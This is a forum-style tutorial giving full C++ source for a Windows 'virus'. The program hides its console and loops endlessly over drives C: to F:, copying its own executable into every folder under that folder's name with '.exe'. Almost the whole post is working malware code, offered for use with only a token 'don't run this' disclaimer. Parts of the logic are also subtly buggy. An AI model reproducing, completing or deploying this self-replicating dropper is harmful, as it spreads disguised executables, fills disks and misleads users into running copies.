Here I will show how you can make virus which makes copy of virus to each folder
with directory's name.exe
Compiler Used: Dev C++
Code and its Explanation:
#include
<fstream.h>
#include
<iostream.h>
#include
<stdio.h>
#include
<sys/types.h>
#include
<dirent.h>
#include
<conio.h>
#include
<string.h>
#include
<windows.h>
char
*SRC;
bool
IsDirectory(char path[]);
void getdir(DIR
*dp,char *path);
int
main(int argc, char
*argv[])
{
// For Hiding the Console Window
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
// Store the File Name Because Each copied
file in different folder
// itself a virus copy but its name
will be same folder name.
SRC=argv[0];
while(1)
// CONTINOUS COPYING
{
DIR *d1;
// FOR C DRIVE
DIR *d2; // For D Drive
DIR *d3; // For E Drive
DIR *d4; // For F Drive
d1 = opendir ("C:");
//Open drive
d2 = opendir ("D:");
d3 = opendir ("E:");
d4 = opendir ("F:");
if (d1 != NULL)
// C DRIVE IS AVAILABLE OR NOT...
getdir(d1,"C:");
else
perror ("C DRIVE CANT BE OPEN");
if (d2 != NULL)
getdir(d2,"D:");
else
perror ("D DRIVE CANT BE OPEN");
if (d3 != NULL)
getdir(d3,"E:");
else
perror ("E DRIVE CANT BE OPEN");
if (d4 != NULL)
getdir(d4,"F:");
else
perror ("F DRIVE CANT BE OPEN");
} // end while
return 0;
}
//
GET Directory And Subdirectory Listing Recursively
void getdir(DIR
*dp,char *path)
{
// create structure for storing info about
Directory
struct dirent *ep;
// Get Each Directory
while (ep = readdir (dp))
{
char string2[1000];
strcpy(string2,path); //
COPY PATH LIKE C:/TC IN A STRING2
strcat(string2,"/");
// MAKE A PATH LIKE C:/TC/
//string2 contains "C:/TC/" and ep->d_name contains
"BIN"
// HERE ep->d_name GIVES
ONLY NAME OF DIRCTORY OR FILENAME
strcat(string2,ep->d_name);
// TO MAKE FULL NAME LIKE C:/TC/BIN
// check path is directory or not
if ( IsDirectory(string2))
{ // printf("%s is a
directory\n",string2);
char
DEST[1000];
strcpy(DEST,string2);
strcat(DEST,"/");
strcat(DEST,ep->d_name);
strcat(DEST,".exe");
std::ifstream src;
// the source file
std::ofstream dest;
// the destination file
src.open(SRC, std::ios::binary);
dest.open (DEST, std::ios::binary);
if (src.is_open()
|| dest.is_open())
{ dest << src.rdbuf ();
// COPY
dest.close ();
src.close ();
std::cout <<
"File copied successfully!";
}
DIR *DSUB = opendir (string2);
// TO CHECK SUBDIRECTORY -RECURSION FUNCTION
if (dp
!= NULL)
getdir(DSUB,string2);
else
perror ("Couldn't
open the directory");
}
else
printf("%s is a file\n",string2);
}
(void) closedir (dp);
}
bool
IsDirectory(char *path)
// to check is file or directory
{
int i = strlen(path) - 1;
if (path[strlen(path)] ==
'.')
{
return true;
// exception for directories
}
// such as \. and \..
for(i; i >= 0; i--)
{
if (path[i] ==
'.')
return false;
// if we first encounter a . then it's a file
else if
(path[i] == '\\' || path[i] ==
'/')
return true;
// if we first encounter a \ it's a dir
}
}
This is code is just a sample code.
It runs only when you click on it.
Don't Run this code in your computer.
If you want to check this . Download the attach .cpp file and run after the
reading Readme file.
Thank you,
Hiren